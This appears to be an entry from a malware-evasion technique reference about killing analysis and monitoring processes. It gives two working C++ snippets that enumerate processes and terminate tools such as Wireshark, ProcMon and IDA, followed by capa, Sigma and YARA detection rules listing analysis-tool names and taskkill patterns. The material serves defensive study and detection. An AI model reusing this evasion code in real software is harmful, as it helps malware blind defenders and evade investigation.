
Kill Process
Malware can kill processes such as AV process or monitoring process. For example, “wireshark.exe”, “ida.exe”, “procmon.exe” or any other process related to malware analysis tools in order to avoid the investigation.
Code Snippets
Description
Using the CreateToolhelp32Snapshot
API, it is possible to list the running process and compare it with a blacklist to kill them.
#include <iostream>
#include <string>
#include <tchar.h>
#include <process.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
BOOL GetProcessList();
BOOL TerminateMyProcess(DWORD dwProcessId, UINT uExitCode);
int main( void )
{
GetProcessList( );
return 0;
}
BOOL GetProcessList( )
{
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;
//Blacklisted processes
LPSTR ProcessName[] = { "ida.Exe",
"ProcMon.exe",
"Olldbg.exe",
"Wireshark.exe",
"iexplore.exe"
};
// Take a snapshot of processes
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
return( FALSE );
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( hProcessSnap, &pe32 ) )
{
CloseHandle( hProcessSnap );
return( FALSE );
}
do
{
string str(pe32.szExeFile);
for (int i = 0; i < (sizeof(ProcessName) / sizeof(LPSTR)); i++)
{
if(str == ProcessName[i])
{
cout << "[*] processus exists: " << (ProcessName[i]) << endl;
TerminateBlacklistedProcess(pe32.th32ProcessID, 1);
}
}
} while( Process32Next( hProcessSnap, &pe32 ) );
CloseHandle( hProcessSnap );
return( TRUE );
}
// Terminate the blacklisted processes
BOOL TerminateBlacklistedProcess(DWORD dwProcessId, UINT uExitCode)
{
DWORD dwDesiredAccess = PROCESS_TERMINATE;
BOOL bInheritHandle = FALSE;
HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
if (hProcess == NULL)
return FALSE;
BOOL result = TerminateProcess(hProcess, uExitCode);
CloseHandle(hProcess);
return result;
}
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <vector>
#include <TlHelp32.h>
#pragma comment(lib, "Psapi")
#pragma comment(lib,"ntdll.lib")
typedef NTSTATUS(NTAPI* _NtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
std::vector<std::string> procs =
{
"ProcessHacker.exe",
"Wireshark.exe"
};
auto terminate_process() -> void
{
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
HANDLE currp = nullptr;
char buf[1024] = { 0 };
_NtGetNextProcess NtGetNextProcess = (_NtGetNextProcess)GetProcAddress(ntdll, "NtGetNextProcess");
for (int i = 0; i < procs.size(); i++) {
do {
GetModuleFileNameExA(currp, 0, buf, MAX_PATH);
if (strstr(buf, procs[i].c_str()))
TerminateProcess(currp, -1);
} while (!NtGetNextProcess(currp, MAXIMUM_ALLOWED, 0, 0, &currp));
}
}
int main()
{
terminate_process();
return 0;
}
Detection Rules
rule:
meta:
name: reference analysis tools strings
namespace: anti-analysis
author: michael.hunhoff@fireeye.com
scope: file
mbc:
- Discovery::Analysis Tool Discovery::Process Detection [B0013.001]
references:
- https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiAnalysis/process.cpp
examples:
- al-khaser_x86.exe_
features:
- or:
- string: /ollydbg.exe/i
- string: /ProcessHacker.exe/i
- string: /tcpview.exe/i
- string: /autoruns.exe/i
- string: /autorunsc.exe/i
- string: /filemon.exe/i
- string: /procmon.exe/i
- string: /regmon.exe/i
- string: /procexp.exe/i
- string: /idaq.exe/i
- string: /idaq64.exe/i
- string: /ImmunityDebugger.exe/i
- string: /Wireshark.exe/i
- string: /dumpcap.exe/i
- string: /HookExplorer.exe/i
- string: /ImportREC.exe/i
- string: /PETools.exe/i
- string: /LordPE.exe/i
- string: /SysInspector.exe/i
- string: /proc_analyzer.exe/i
- string: /sysAnalyzer.exe/i
- string: /sniff_hit.exe/i
- string: /windbg.exe/i
- string: /joeboxcontrol.exe/i
- string: /joeboxserver.exe/i
- string: /ResourceHacker.exe/i
- string: /x32dbg.exe/i
- string: /x64dbg.exe/i
- string: /Fiddler.exe/i
- string: /httpdebugger.exe/i
- string: /fakenet.exe/i
- string: /netmon.exe/i
- string: /WPE PRO.exe/i
- string: /decompile.exe/i
title: Kill multiple process
status: experimental
description: Kill multiple process
author: Joe Security
date: 2019-12-30
id: 200039
threatname:
behaviorgroup: 18
classification: 8
mitreattack:
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine:
- '*cmd*taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*& taskkill /f*'
condition: selection
level: critical
rule UNPROTECT_disable_process {
meta:
author = "Thomas Roccia | @fr0gger_"
description = "Disable blacklisted processes"
strings:
$api1 = "CreateToolhelp32Snapshot" nocase
$api2 = "Process32First" nocase
$api3 = "Process32Next" nocase
$api4 = "TerminateProcess" nocase
$api5 = "NtGetNextProcess" nocase
$p1 = "taskkill.exe" nocase
$p2 = "tskill.exe" nocase
condition:
uint32(uint32(0x3C)) == 0x4550 and 2 of ($api*) or any of ($p*)
}